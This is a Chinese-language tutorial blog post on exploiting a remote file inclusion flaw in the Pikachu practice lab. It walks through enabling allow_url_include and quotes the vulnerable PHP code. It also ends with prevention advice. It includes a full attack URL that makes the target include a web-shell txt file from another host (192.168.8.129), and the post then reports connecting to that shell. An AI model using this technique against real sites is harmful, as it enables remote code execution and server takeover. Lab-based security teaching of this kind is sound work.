当前位置: 首页 > news >正文

Web渗透:文件包含漏洞

Ⅱ.远程文件包含

远程文件包含漏洞(Remote File Inclusion, RFI)是一种Web应用程序漏洞,允许攻击者通过URL从远程服务器包含并执行文件;RFI漏洞通常出现在动态包含文件的功能中,且用户输入未经适当验证和过滤。接着我们也是根据pikachu靶场中的远程文件包含相关漏洞页面进行漏洞说明:

1.打开页面后发现页面出现提示:环境中的allow_url_include开关并没有开启,这里需要我们手动进行开启。

开启方法:在小皮面板中找到php对应的配置文件,选择当前站点使用的php版本;笔者此处所使用的版本为php5.6.9。

点击对应版本后就会出现php相关配置文件--php.ini;这个时候我们直接去找allow_url_include开关并将其开启即可:

修改后我们重启下当前所使用的中间件即可。至此靶场就可以正常使用了:

php.ini中的allow_url_include参数究竟有什么用呢?

allow_url_include 是 PHP 中的一个配置指令,它决定是否允许在 include、include_once、require 和 require_once 语句中使用 URL 进行远程文件包含;默认情况下,该选项是禁用的,以防止远程文件包含(RFI)漏洞。这意味着 PHP 脚本可以通过指定一个远程文件的 URL 来加载并执行该文件的内容。

大概了解完后我们就来阐述一下该漏洞需要我们如何去进行利用:

1.首先远程文件包含漏洞的初始页面与本地文件包含的初始页面是一样的,此时我们随机选择一个球星进行查询,整体页面如下:

可以看到url上已经文件的相对路径显示出来了;此时我们尝试将url中的文件路径改为hosts文件的绝对路径查看效果:可以看到与本地文件包含不同的是,这个时候我们使用绝对路径,文件的内同也可以被正常包含。

那么因为我们已经开启了allow_url_include开关,所以此时是允许我们直接包含远程主机中的文件的;这边我开一个虚拟机(再实际环境中就需要使用自己的公网服务器了);虚拟机的IP为192.168.8.129,并且开启了apache服务,这个时候我在apache服务的根目录创建一个编写有一句话木马的txt文件:

接着我们将包含的文件途径修改文此时访问该txt文件的url,修改后的我们让我的URL为:

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.8.129/Remote_shell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

接着使用WebShell连接工具进行连接:连接成功

至此漏洞利用成功。接着我们也是按照惯例查看源码对漏洞进行剖析:

$html1='';
if(!ini_get('allow_url_include')){$html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){$html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){$html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}

这段代码旨在检查PHP配置中的几个关键设置,并在特定条件下显示警告消息:

使用 ini_get('allow_url_include') 检查 allow_url_include 设置。如果返回值为 false,表示该设置未开启。allow_url_include开启其实就是此处远程文件包含漏洞产生的主要原因,上面有说过了,此处就不做过多赘述了。

使用 ini_get('allow_url_fopen') 检查 allow_url_fopen 设置。如果返回值为 false,表示该设置未开启。allow_url_fopen 决定是否允许通过 fopen()file_get_contents() 等函数访问 URL;默认情况下,allow_url_fopen 是启用的,这意味着 PHP 脚本可以通过这些函数从远程服务器读取文件内容。

allow_url_include 依赖于 allow_url_fopen。换句话说,如果你想启用 allow_url_include,首先需要确保 allow_url_fopen 也是启用的。

使用 ini_get('magic_quotes_gpc') 检查 magic_quotes_gpc 设置。如果返回值为 false,表示该设置未开启。magic_quotes_gpc 是 PHP 中的一个配置选项,用于自动对来自 GETPOSTCOOKIE 的输入数据进行转义。具体来说,它会自动在某些特殊字符(如单引号 '、双引号 "、反斜杠 \ 和 NULL 字符)前添加反斜杠。如果magic_quotes_gpc是开启的则攻击无法成功,因为我们指定的带有木马的txt文件的url中带有反斜杠(被转义后的反斜杠就会被当成一个字符看待)。

检查完成后,造成文件包含的关键代码:与本地文件包含的相关代码并无区别,都是接收客户端传来的文件路径(url)并进行包含。

//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){$filename=$_GET['filename'];include "$filename";//变量传进来直接包含,没做任何的安全限制
}
防范文件包含漏洞的方法
1. 输入验证和过滤

对所有用户输入进行严格验证和过滤,确保文件名是合法的,并且不包含任何恶意字符或路径遍历字符(如 ../)。

2. 禁用远程文件包含

php.ini 中禁用 allow_url_includeallow_url_fopen,以防止远程文件包含。

3. 设置正确的文件权限

确保 Web 服务器仅对需要访问的文件和目录具有读取权限,防止攻击者访问不必要的文件。

4.使用最新版本的 PHP

始终使用最新版本的 PHP,因为它包含了最新的安全补丁和功能,可以帮助防范已知的安全漏洞。

http://www.lryc.cn/news/385359.html

相关文章:

  • 什么是yum源?如何对其进行配置?
  • Node.js全栈指南:认识MIME和HTTP
  • 基于weixin小程序智慧物业系统的设计
  • 成功解决​​​​​​​TypeError: __call__() got an unexpected keyword argument ‘first_int‘
  • vue3用自定义指令实现按钮权限
  • Nuxt3:当前页面滚动到指定位置
  • word图题表题公式按照章节编号(不用题注)
  • 最小生成树模型
  • 基于盲信号处理的声音分离-基于改进的信息最大化的ICA算法
  • 如何在Qt Designer中管理QSplitter
  • 关于新零售的一些思考
  • C++初学者指南-2.输入和输出---从输入流错误中恢复
  • 毫秒级响应!清科优能应用 TDengine 建设虚拟电厂运营管理平台
  • 【Ubuntu noble】apt 无法安装软件 Unable to locate package vim
  • Instagram APIj接口——快速获取Ins帖子媒体内容下载链接
  • Java基础(四)——字符串、StringBuffer、StringBuilder、StringJoiner
  • 吐血推荐!3款视频生成工具,全部国产,都免费
  • 【Web3】Web3.js 启动!并解决Web3 is not a constructor报错
  • 算法训练营第六十七天 | 卡码网110 字符串接龙、卡码网105 有向图的完全可达性、卡码网106 岛屿的周长
  • 搭建 MySQL MHA
  • python中的线程与进程
  • 网络安全筑基篇——反序列化漏洞
  • 帝国cms定时审核并更新的方法
  • 一个简单好用安全的开源交互审计系统,支持SSH,Telnet,Kubernetes协议
  • 使用Spring Boot和WebSocket实现实时通信
  • 【Vue】集成富文本编辑器
  • 【论文阅读】--Popup-Plots: Warping Temporal Data Visualization
  • 重建大师引擎数0,本地引擎设置改不了,空三在跑,这样是正常的吗?
  • APM教程-SkyWalking安装和配置
  • 斯坦福大学 AI 研究部门推出的“7 周人工智能学习计划”